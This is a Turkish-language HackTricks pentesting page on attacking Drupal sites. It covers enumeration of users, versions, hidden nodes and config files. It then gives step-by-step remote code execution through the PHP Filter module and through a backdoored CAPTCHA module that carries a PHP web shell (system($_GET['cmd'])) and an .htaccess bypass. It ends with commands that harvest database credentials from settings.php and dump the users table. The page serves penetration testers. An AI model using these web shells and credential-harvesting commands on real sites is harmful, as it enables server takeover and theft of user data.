9.2 KiB
Drupal
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks (https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına.
{% embed url="https://websec.nl/" %}
Keşif
- meta'yı kontrol edin
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal içeriği düğümler kullanarak dizinler. Bir düğüm herhangi bir şeyi içerebilir, örneğin bir blog yazısı, anket, makale vb. Sayfa URI'leri genellikle
/node/<düğüm kimliği>
şeklindedir.
curl drupal-site.com/node/1
Numaralandırma
Drupal varsayılan olarak üç tür kullanıcıyı destekler:
Yönetici
: Bu kullanıcı Drupal web sitesi üzerinde tam kontrol sahibidir.Doğrulanmış Kullanıcı
: Bu kullanıcılar web sitesine giriş yapabilir ve izinlerine bağlı olarak makale ekleyebilir ve düzenleyebilir.Anonim
: Tüm web sitesi ziyaretçileri anonim olarak belirlenir. Varsayılan olarak, bu kullanıcılara yalnızca gönderileri okuma izni verilir.
Sürüm
/CHANGELOG.txt
dosyasını kontrol edin.
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Drupal'ın daha yeni kurulumları varsayılan olarak CHANGELOG.txt
ve README.txt
dosyalarına erişimi engeller.
{% endhint %}
Kullanıcı adı numaralandırma
Kayıt
/user/register adresinde sadece bir kullanıcı adı oluşturmayı deneyin ve eğer ad zaten alınmışsa bildirim alırsınız:
Yeni şifre iste
Mevcut bir kullanıcı adı için yeni bir şifre isterseniz:
Mevcut olmayan bir kullanıcı adı için yeni bir şifre isterseniz:
Kullanıcı sayısını al
/user/<number> adresine erişerek mevcut kullanıcı sayısını görebilirsiniz, bu durumda /users/3 adresi bulunamadı hatası döndürür:
Gizli sayfalar
/node/$
şeklinde bir sorgulama yapın, burada $
bir numaradır (örneğin 1 ile 500 arasında).
Bu şekilde gizli sayfalar (test, dev) bulabilirsiniz ki bunlar arama motorları tarafından referans gösterilmez.
Kurulu modüller bilgisi
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Otomatik
droopescan scan drupal -u http://drupal-site.local
RCE
PHP Filtre Modülü ile
{% hint style="warning" %}
Drupal'ın (8. sürümden önceki sürümlerinde) eski sürümlerinde, bir yönetici olarak giriş yaparak PHP filtresi
modülünü etkinleştirmek mümkündü, bu da "Gömülü PHP kod/dilimlerinin değerlendirilmesine izin verir."
{% endhint %}
Eklentinin php olarak yüklü olması gerekmektedir (/modules/php adresine erişerek kontrol edin ve eğer 403 dönerse, mevcut, eğer bulunamazsa, o zaman php eklentisi yüklü değil demektir)
Modüller -> (Kontrol Et) PHP Filtresi -> Yapılandırmayı Kaydet
Ardından İçerik Ekle'ye tıklayın -> Temel Sayfa veya Makale seçin -> Gövdede php kabuk kodunu yazın -> Metin biçiminde PHP kodu seçin -> Önizleme seçin
Son olarak sadece yeni oluşturulan düğüme erişin:
curl http://drupal-site.local/node/3
PHP Filtre Modülünü Yükle
8 ve sonraki sürümlerden itibaren, PHP Filtre modülü varsayılan olarak yüklenmez. Bu işlevselliği kullanabilmek için modülü kendimiz yüklememiz gerekecek.
- Modülün en güncel sürümünü Drupal web sitesinden indirin.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- İndirildikten sonra
Yönetim
>Raporlar
>Kullanılabilir güncellemeler
bölümüne gidin. Göz at
'a tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardındanYükle
'ye tıklayın.- Modül yüklendikten sonra
İçerik
'e tıklayabilir ve Drupal 7 örneğinde yaptığımız gibi yeni bir temel sayfa oluşturabiliriz. Yine,Metin biçimi
açılır menüsündenPHP kodu
'nu seçtiğinizden emin olun.
Arka Kapılı Modül
Bir arka kapılı modül, mevcut bir modüle bir kabuk ekleyerek oluşturulabilir. Modüller drupal.org web sitesinde bulunabilir. CAPTCHA gibi bir modül seçelim. Aşağı kaydırın ve tar.gz arşivi için bağlantıyı kopyalayın.
- Arşivi indirin ve içeriğini çıkarın.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- İçeriği olan bir PHP web kabuğu oluşturun:
<?php
system($_GET["cmd"]);
?>
- Ardından, kendimize klasöre erişim sağlamak için bir
.htaccess
dosyası oluşturmamız gerekiyor. Bu, Drupal'ın/modules
klasörüne doğrudan erişimi reddettiği için gereklidir.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Yukarıdaki yapılandırma, /modules içinde bir dosya istediğimizde / klasörü için kurallar uygulayacaktır. Her iki dosyayı da captcha klasörüne kopyalayın ve bir arşiv oluşturun.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Websiteye yönetici erişimine sahip olduğumuzu varsayarak,
Yönet
üzerine tıklayın ve ardından kenar çubuğundaGenişlet
seçeneğine tıklayın. Daha sonra+ Yeni modül yükle
düğmesine tıklayın ve yükleme sayfasına yönlendirileceksiniz, örneğinhttp://drupal-site.local/admin/modules/install
Arkaplandan eklenmiş Captcha arşivine göz atın veYükle
'ye tıklayın. - Yükleme başarılı olduktan sonra, komutları yürütmek için
/modules/captcha/shell.php
sayfasına göz atın.
Sonrası Sızma
settings.php dosyasını okuyun
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Veritabanından Kullanıcıları Dökün
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Referanslar
{% embed url="https://websec.nl/" %}
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.